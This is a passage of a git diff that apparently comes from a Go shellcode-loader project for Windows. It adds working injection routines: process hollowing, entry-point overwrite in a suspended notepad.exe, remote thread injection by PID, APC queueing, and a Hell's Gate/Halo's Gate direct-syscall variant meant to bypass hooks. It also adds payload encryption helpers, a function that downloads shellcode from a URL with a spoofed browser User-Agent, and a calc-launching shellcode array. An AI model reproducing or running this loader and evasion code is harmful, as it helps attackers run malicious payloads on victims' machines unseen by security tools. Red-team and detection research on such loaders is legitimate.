- }
+ SwitchToFiber.Call(fiber)
- _, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
- if errSwitchToFiber2 != nil {
- fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error())
- }
+ SwitchToFiber.Call(fiberAddr)
return nil
}
diff --git a/shellcode/no-rwx.go b/shellcode/no-rwx.go
new file mode 100644
index 0000000..14c74c1
--- /dev/null
+++ b/shellcode/no-rwx.go
@@ -0,0 +1,58 @@
+package shellcode
+
+import (
+ "encoding/binary"
+ "golang.org/x/sys/windows"
+ "unsafe"
+)
+
+type IMAGE_DOS_HEADER struct {
+ E_lfanew uint32
+}
+
+func NoRWX(shellcode []byte) error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+
+ CreateProcess := kernel32.NewProc("CreateProcessW")
+ ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
+ WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
+ ResumeThread := kernel32.NewProc("ResumeThread")
+ NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
+
+ var info int32
+ var returnLength int32
+
+ var pbi windows.PROCESS_BASIC_INFORMATION
+ si:= &windows.StartupInfo{}
+ pi := &windows.ProcessInformation{}
+
+ cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
+ if err != nil {
+ return err
+ }
+
+ CreateProcess.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
+
+ NtQueryInformationProcess.Call(uintptr(pi.Process), uintptr(info), uintptr(unsafe.Pointer(&pbi)), uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), uintptr(unsafe.Pointer(&returnLength)))
+
+ pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
+ var imageBase uintptr = 0
+
+ ReadProcessMemory.Call(uintptr(pi.Process), pebOffset, uintptr(unsafe.Pointer(&imageBase)), 8, 0)
+
+ headersBuffer := make([]byte, 4096)
+
+ ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(unsafe.Pointer(&headersBuffer[0])), 4096, 0)
+
+ var dosHeader IMAGE_DOS_HEADER
+ dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
+ ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
+ codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
+
+ WriteProcessMemory.Call(uintptr(pi.Process), codeEntry, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
+
+ ResumeThread.Call(uintptr(pi.Thread))
+
+ return nil
+}
diff --git a/shellcode/ntcreatethreadex.go b/shellcode/ntcreatethreadex.go
new file mode 100644
index 0000000..cba08f6
--- /dev/null
+++ b/shellcode/ntcreatethreadex.go
@@ -0,0 +1,143 @@
+package shellcode
+
+import (
+ "unsafe"
+ "github.com/D3Ext/Hooka/evasion"
+ "golang.org/x/sys/windows"
+)
+
+func NtCreateThreadEx(shellcode []byte, pid int) error {
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+
+ NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
+ NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
+ NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
+ NtCreateThreadEx := ntdll.NewProc("NtCreateThreadEx")
+ NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject")
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ OpenProcess := kernel32.NewProc("OpenProcess")
+
+ var pHandle uintptr
+
+ if pid == 0 {
+ pHandle, _, _ = GetCurrentProcess.Call()
+ } else {
+ pHandle, _, _ = OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, uintptr(0), uintptr(pid))
+ }
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ r1, _, err := NtAllocateVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
+ if r1 != 0 {
+ return err
+ }
+
+ NtWriteVirtualMemory.Call(uintptr(pHandle), addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize, 0)
+
+ var oldProtect uintptr
+ r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+ if r2 != 0 {
+ return err
+ }
+
+ var hhosthread uintptr
+ NtCreateThreadEx.Call(uintptr(unsafe.Pointer(&hhosthread)), 0x1FFFFF, 0, uintptr(pHandle), addr, 0, uintptr(0), 0, 0, 0, 0)
+
+ NtWaitForSingleObject.Call(hhosthread, uintptr(0), 0xFFFFFFFF)
+
+ return nil
+}
+
+/*
+
+Hell's Gate + Halo's Gate technique
+
+*/
+
+func NtCreateThreadExHalos(shellcode []byte) error {
+
+ NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory")
+ if err != nil {
+ return err
+ }
+
+ NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory")
+ if err != nil {
+ return err
+ }
+
+ NtProtectVirtualMemory, err := evasion.GetSysId("NtProtectVirtualMemory")
+ if err != nil {
+ return err
+ }
+
+ NtCreateThreadEx, err := evasion.GetSysId("NtCreateThreadEx")
+ if err != nil {
+ return err
+ }
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ r1, err := evasion.Syscall(
+ NtAllocateVirtualMemory,
+ uintptr(0xffffffffffffffff),
+ uintptr(unsafe.Pointer(&addr)),
+ 0,
+ uintptr(unsafe.Pointer(®ionsize)),
+ windows.MEM_COMMIT|windows.MEM_RESERVE,
+ windows.PAGE_READWRITE,
+ )
+ if r1 != 0 {
+ return err
+ }
+
+ evasion.Syscall(
+ NtWriteVirtualMemory,
+ uintptr(0xffffffffffffffff),
+ addr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+
+ var oldProtect uintptr
+ r2, err := evasion.Syscall(
+ NtProtectVirtualMemory,
+ uintptr(0xffffffffffffffff),
+ uintptr(unsafe.Pointer(&addr)),
+ uintptr(unsafe.Pointer(®ionsize)),
+ windows.PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtect)),
+ )
+ if r2 != 0 {
+ return err
+ }
+
+ var hhosthread uintptr
+ r3, err := evasion.Syscall(
+ NtCreateThreadEx,
+ uintptr(unsafe.Pointer(&hhosthread)),
+ 0x1FFFFF,
+ 0,
+ uintptr(0xffffffffffffffff),
+ addr,
+ 0,
+ uintptr(0),
+ 0,
+ 0,
+ 0,
+ 0,
+ )
+
+ windows.WaitForSingleObject(windows.Handle(hhosthread), 0xffffffff)
+
+ if r3 != 0 {
+ return err
+ }
+
+ return nil
+}
+
diff --git a/shellcode/ntqueueapcthreadex.go b/shellcode/ntqueueapcthreadex.go
new file mode 100644
index 0000000..da4928b
--- /dev/null
+++ b/shellcode/ntqueueapcthreadex.go
@@ -0,0 +1,45 @@
+package shellcode
+
+import (
+ "unsafe"
+ "golang.org/x/sys/windows"
+)
+
+func NtQueueApcThreadEx(shellcode []byte) error {
+ const (
+ QUEUE_USER_APC_FLAGS_NONE = iota
+ QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
+ QUEUE_USER_APC_FLGAS_MAX_VALUE
+ )
+
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+
+ GetCurrentThread := kernel32.NewProc("GetCurrentThread")
+ NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
+ NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
+ RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
+ NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
+ if r1 != 0 {
+ return err
+ }
+
+ RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize)
+
+ oldProtect := windows.PAGE_READWRITE
+ r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+ if r2 != 0 {
+ return err
+ }
+
+ thread, _, _ := GetCurrentThread.Call()
+
+ NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
+
+ return nil
+}
diff --git a/shellcode/processhollowing.go b/shellcode/processhollowing.go
new file mode 100644
index 0000000..cd8d7a9
--- /dev/null
+++ b/shellcode/processhollowing.go
@@ -0,0 +1,126 @@
+package shellcode
+
+import (
+ "unsafe"
+ "encoding/binary"
+ "golang.org/x/sys/windows"
+)
+
+type StartupInfoEx struct {
+ windows.StartupInfo
+ AttributeList *PROC_THREAD_ATTRIBUTE_LIST
+}
+
+type ProcessInformation struct {
+ Process uintptr
+ Thread uintptr
+ ProcessId uint32
+ ThreadId uint32
+}
+
+type PROC_THREAD_ATTRIBUTE_LIST struct {
+ dwFlags uint32
+ size uint64
+ count uint64
+ reserved uint64
+ unknown *uint64
+ entries []*PROC_THREAD_ATTRIBUTE_ENTRY
+}
+
+type PROC_THREAD_ATTRIBUTE_ENTRY struct {
+ attribute *uint32
+ cbSize uintptr
+ lpValue uintptr
+}
+
+type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
+ Flags uint32
+}
+
+func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+
+ GetProcessHeap := kernel32.NewProc("GetProcessHeap")
+ HeapAlloc := kernel32.NewProc("HeapAlloc")
+ HeapFree := kernel32.NewProc("HeapFree")
+ InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
+ UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
+ CreateProcessA := kernel32.NewProc("CreateProcessA")
+ ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
+ WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
+ ResumeThread := kernel32.NewProc("ResumeThread")
+ ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")
+
+ var pbi PROCESS_BASIC_INFORMATION
+ var si StartupInfoEx
+ var pi ProcessInformation
+
+ if (blockdlls) {
+ procThreadAttributeSize := uintptr(0)
+ InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
+
+ procHeap, _, err := GetProcessHeap.Call()
+ if procHeap == 0 {
+ return err
+ }
+
+ attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
+ if attributeList == 0 {
+ return err
+ }
+ defer HeapFree.Call(procHeap, 0, attributeList)
+
+ si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
+
+ InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
+
+ mitigate := 0x20007
+ nonms := uintptr(0x100000000000|0x1000000000)
+
+ r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
+ if r == 0 {
+ return err
+ }
+ }
+
+ cmd := append([]byte(proc), byte(0))
+
+ si.Cb = uint32(unsafe.Sizeof(si))
+
+ r, _, err := CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)))
+ if r == 0 {
+ return err
+ }
+
+ var returnLength int32
+ pointerSize := unsafe.Sizeof(uintptr(0))
+
+ ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))
+
+ imageBaseAddress := pbi.PebBaseAddress + 0x10
+ addressBuffer := make([]byte, pointerSize)
+
+ var read uintptr
+ ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
+
+ imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
+ addressBuffer = make([]byte, 0x200)
+
+ ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
+
+ lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
+ lfanew := binary.LittleEndian.Uint32(lfaNewPos)
+ entrypointOffset := lfanew + 0x28
+ entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
+ entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
+ entrypointAddress := imageBaseValue + uint64(entrypointRVA)
+
+ WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
+
+ ResumeThread.Call(uintptr(pi.Thread))
+
+ return nil
+}
+
+
diff --git a/core/queueuserapc.go b/shellcode/queueuserapc.go
similarity index 94%
rename from core/queueuserapc.go
rename to shellcode/queueuserapc.go
index e0dff1c..00a2c8b 100644
--- a/core/queueuserapc.go
+++ b/shellcode/queueuserapc.go
@@ -1,9 +1,8 @@
-package core
+package shellcode
import (
"errors"
"fmt"
- "syscall"
"unsafe"
"golang.org/x/sys/windows"
@@ -23,8 +22,8 @@ func QueueUserApc(shellcode []byte) error {
}
errCreateProcess := windows.CreateProcess(
- syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
- syscall.StringToUTF16Ptr(""),
+ windows.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
+ windows.StringToUTF16Ptr(""),
nil,
nil,
true,
diff --git a/core/rtlcreateuserthread.go b/shellcode/rtlcreateuserthread.go
similarity index 98%
rename from core/rtlcreateuserthread.go
rename to shellcode/rtlcreateuserthread.go
index 5147fcc..5b8aacd 100644
--- a/core/rtlcreateuserthread.go
+++ b/shellcode/rtlcreateuserthread.go
@@ -1,4 +1,4 @@
-package core
+package shellcode
import (
"unsafe"
diff --git a/core/uuidfromstring.go b/shellcode/uuidfromstring.go
similarity index 99%
rename from core/uuidfromstring.go
rename to shellcode/uuidfromstring.go
index 06a779a..fb75c86 100644
--- a/core/uuidfromstring.go
+++ b/shellcode/uuidfromstring.go
@@ -1,4 +1,4 @@
-package core
+package shellcode
import (
"bytes"
diff --git a/utils/3des.go b/utils/3des.go
new file mode 100644
index 0000000..f6c6b6c
--- /dev/null
+++ b/utils/3des.go
@@ -0,0 +1,44 @@
+package utils
+
+import (
+ "crypto/cipher"
+ "crypto/des"
+)
+
+func TripleDesEncrypt(data, key []byte) ([]byte, error) {
+ block, err := des.NewTripleDESCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ ciphertext := key
+ iv := ciphertext[:des.BlockSize]
+
+ origData := PKCS5Padding(data, block.BlockSize())
+
+ mode := cipher.NewCBCEncrypter(block, iv)
+
+ encrypted := make([]byte, len(origData))
+
+ mode.CryptBlocks(encrypted, origData)
+
+ return encrypted, nil
+}
+
+func TripleDesDecrypt(data, key []byte) ([]byte, error) {
+ block, err := des.NewTripleDESCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ ciphertext := key
+ iv := ciphertext[:des.BlockSize]
+
+ decrypter := cipher.NewCBCDecrypter(block, iv)
+
+ decrypted := make([]byte, len(data))
+ decrypter.CryptBlocks(decrypted, data)
+ decrypted = PKCS5Trimming(decrypted)
+
+ return decrypted, nil
+}
diff --git a/utils/aes.go b/utils/aes.go
new file mode 100644
index 0000000..eaf836a
--- /dev/null
+++ b/utils/aes.go
@@ -0,0 +1,67 @@
+package utils
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "errors"
+ "bytes"
+)
+
+func AESEncrypt(plaintext []byte, iv []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ if string(plaintext) == "" {
+ return nil, errors.New("string to encrypt is empty")
+ }
+
+ ecb := cipher.NewCBCEncrypter(block, iv)
+ content := []byte(plaintext)
+ content = PKCS5Padding(content, block.BlockSize())
+ crypted := make([]byte, len(content))
+ ecb.CryptBlocks(crypted, content)
+
+ return crypted, nil
+}
+
+func AESDecrypt(ciphertext []byte, iv []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ if len(ciphertext) == 0 {
+ return nil, errors.New("ciphertext cannot be empty")
+ }
+
+ ecb := cipher.NewCBCDecrypter(block, iv)
+ decrypted := make([]byte, len(ciphertext))
+ ecb.CryptBlocks(decrypted, ciphertext)
+
+ return PKCS5Trimming(decrypted), nil
+}
+
+func GenerateIV() ([]byte, error) {
+ iv := make([]byte, aes.BlockSize)
+ _, err := rand.Read(iv)
+ if err != nil {
+ return nil, err
+ }
+
+ return iv, nil
+}
+
+func PKCS5Trimming(encrypt []byte) []byte {
+ padding := encrypt[len(encrypt)-1]
+ return encrypt[:len(encrypt)-int(padding)]
+}
+
+func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
+ padding := blockSize - len(ciphertext)%blockSize
+ padtext := bytes.Repeat([]byte{byte(padding)}, padding)
+ return append(ciphertext, padtext...)
+}
+
diff --git a/utils/data.go b/utils/data.go
new file mode 100644
index 0000000..960f9ba
--- /dev/null
+++ b/utils/data.go
@@ -0,0 +1,24 @@
+package utils
+
+import (
+ "slices"
+)
+
+func AppendString(slice []string, str string) []string {
+ if (!slices.Contains(slice, str)) {
+ slice = append(slice, str)
+ }
+
+ return slice
+}
+
+func AppendSlice(slice, slice2 []string) []string {
+ for _, entry := range slice2 {
+ if (!slices.Contains(slice, entry)) {
+ slice = append(slice, entry)
+ }
+ }
+
+ return slice
+}
+
diff --git a/core/dll.go b/utils/dll.go
similarity index 99%
rename from core/dll.go
rename to utils/dll.go
index e8977f3..d99d775 100644
--- a/core/dll.go
+++ b/utils/dll.go
@@ -1,13 +1,4 @@
-package core
-
-/*
-
-References:
-
-All this functions are taken and lightly modified from the original gist, thanks to him
-https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3
-
-*/
+package utils
import (
"encoding/binary"
diff --git a/utils/hashes.go b/utils/hashes.go
new file mode 100644
index 0000000..1365de1
--- /dev/null
+++ b/utils/hashes.go
@@ -0,0 +1,24 @@
+package utils
+
+import (
+ "crypto/md5"
+ "crypto/sha1"
+ "crypto/sha256"
+ "encoding/hex"
+)
+
+func Md5(src string) string {
+ hash := md5.Sum([]byte(src))
+ return hex.EncodeToString(hash[:])
+}
+
+func Sha1(src string) string {
+ hash := sha1.Sum([]byte(src))
+ return hex.EncodeToString(hash[:])
+}
+
+func Sha256(src string) string {
+ hash := sha256.Sum256([]byte(src))
+ return hex.EncodeToString(hash[:])
+}
+
diff --git a/utils/pe_info.go b/utils/pe_info.go
new file mode 100644
index 0000000..71638b7
--- /dev/null
+++ b/utils/pe_info.go
@@ -0,0 +1,87 @@
+package utils
+
+import (
+ "os"
+ "log"
+ "math"
+ "io"
+ "fmt"
+ "crypto/md5"
+ "crypto/sha1"
+ "crypto/sha256"
+ "io/ioutil"
+)
+
+func Entropy(file string) (float64, error) {
+ f, err := os.Open(file)
+ if err != nil {
+ return 0, err
+ }
+ defer f.Close()
+
+ contents, err := ioutil.ReadAll(f)
+ if err != nil {
+ return 0, err
+ }
+
+ freq := make(map[byte]int)
+ for _, b := range contents {
+ freq[b]++
+ }
+
+ totalBytes := len(contents)
+ probs := make(map[byte]float64)
+ for b, f := range freq {
+ probs[b] = float64(f) / float64(totalBytes)
+ }
+
+ entropy := 0.0
+ for _, p := range probs {
+ if p > 0 {
+ entropy -= p * math.Log2(p)
+ }
+ }
+
+ return entropy, nil
+}
+
+func CalculateSums(output_file string) (string, string, string, error) {
+ f1, err := os.Open(output_file)
+ if err != nil {
+ return "", "", "", err
+ }
+ defer f1.Close()
+
+ md5hash := md5.New()
+ _, err = io.Copy(md5hash, f1)
+ if err != nil {
+ return "", "", "", err
+ }
+
+ f2, err := os.Open(output_file)
+ if err != nil {
+ return "", "", "", err
+ }
+ defer f2.Close()
+
+ sha256hash := sha256.New()
+ _, err = io.Copy(sha256hash, f2)
+ if err != nil {
+ return "", "", "", err
+ }
+
+ f3, err := os.Open(output_file)
+ if err != nil {
+ return "", "", "", err
+ }
+ defer f3.Close()
+
+ sha1hash := sha1.New()
+ _, err = io.Copy(sha1hash, f3)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ return fmt.Sprintf("%x", md5hash.Sum(nil)), fmt.Sprintf("%x", sha1hash.Sum(nil)), fmt.Sprintf("%x", sha256hash.Sum(nil)), nil
+}
+
diff --git a/utils/privs_windows.go b/utils/privs_windows.go
new file mode 100644
index 0000000..c157540
--- /dev/null
+++ b/utils/privs_windows.go
@@ -0,0 +1,28 @@
+package utils
+
+import (
+ "golang.org/x/sys/windows"
+)
+
+func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges
+ var sid *windows.SID
+ err := windows.AllocateAndInitializeSid(
+ &windows.SECURITY_NT_AUTHORITY,
+ 2,
+ windows.SECURITY_BUILTIN_DOMAIN_RID,
+ windows.DOMAIN_ALIAS_RID_ADMINS,
+ 0, 0, 0, 0, 0, 0,
+ &sid,
+ )
+ if err != nil {
+ return false, err
+ }
+
+ token := windows.Token(0)
+ member, err := token.IsMember(sid) // Check if is inside admin group
+ if err != nil {
+ return false, err
+ }
+
+ return member, nil // return true (means high privs) or false (means low privs)
+}
diff --git a/utils/rand.go b/utils/rand.go
new file mode 100644
index 0000000..2fc5332
--- /dev/null
+++ b/utils/rand.go
@@ -0,0 +1,33 @@
+package utils
+
+import (
+ "math/rand"
+ "time"
+)
+
+// Generate a random integer between range
+func RandomInt(min int, max int) int {
+ rand.Seed(time.Now().UnixNano())
+ rand_int := rand.Intn(max-min+1) + min
+ return rand_int
+}
+
+// Return random string based on an integer (length)
+func RandomString(length int) string {
+ const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+
+ var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
+
+ b := make([]byte, length)
+ for i := range b {
+ b[i] = charset[seededRand.Intn(len(charset))]
+ }
+
+ // Ensure the first character is not an integer
+ for b[0] >= '0' && b[0] <= '9' {
+ b[0] = charset[seededRand.Intn(len(charset))]
+ }
+
+ return string(b)
+}
+
diff --git a/utils/rc4.go b/utils/rc4.go
new file mode 100644
index 0000000..82e5a13
--- /dev/null
+++ b/utils/rc4.go
@@ -0,0 +1,27 @@
+package utils
+
+import (
+ "crypto/rc4"
+)
+
+func Rc4Encrypt(plaintext []byte, psk []byte) ([]byte, error) {
+ r, err := rc4.NewCipher(psk)
+ if err != nil {
+ return nil, err
+ }
+
+ dst := make([]byte, len(plaintext))
+ r.XORKeyStream(dst, plaintext)
+ return dst, nil
+}
+
+func Rc4Decrypt(ciphertext []byte, psk []byte) ([]byte, error) {
+ r, err := rc4.NewCipher(psk)
+ if err != nil {
+ return nil, err
+ }
+ src := make([]byte, len(ciphertext))
+ r.XORKeyStream(src, []byte(ciphertext))
+ return src, nil
+}
+
diff --git a/utils/shellcode.go b/utils/shellcode.go
new file mode 100644
index 0000000..22377ea
--- /dev/null
+++ b/utils/shellcode.go
@@ -0,0 +1,50 @@
+package utils
+
+import (
+ "net/http"
+ "io"
+ "io/ioutil"
+ "os"
+)
+
+func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
+ req, err := http.NewRequest("GET", sc_url, nil)
+ if err != nil {
+ return nil, err
+ }
+
+ req.Header.Set("Accept", "application/x-www-form-urlencoded")
+ req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
+ client := &http.Client{}
+ resp, err := client.Do(req)
+ if err != nil {
+ return nil, err
+ }
+ defer resp.Body.Close()
+
+ b, err := io.ReadAll(resp.Body)
+ if err != nil {
+ return nil, err
+ }
+ return b, nil
+}
+
+func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
+ f, err := os.Open(file)
+ if err != nil {
+ return nil, err
+ }
+ defer f.Close()
+
+ shellcode_bytes, err := ioutil.ReadAll(f)
+ if err != nil {
+ return nil, err
+ }
+
+ return shellcode_bytes, nil
+}
+
+func CalcShellcode() []byte {
+ return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
+}
+
diff --git a/utils/xor.go b/utils/xor.go
new file mode 100644
index 0000000..baa13ba
--- /dev/null
+++ b/utils/xor.go
@@ -0,0 +1,10 @@
+package utils
+
+func Xor(input, key []byte) (cipher []byte) {
+ for i := 0; i < len(input); i++ {
+ cipher = append(cipher, (input[i] ^ key[i % len(key)]))
+ }
+
+ return cipher
+}
+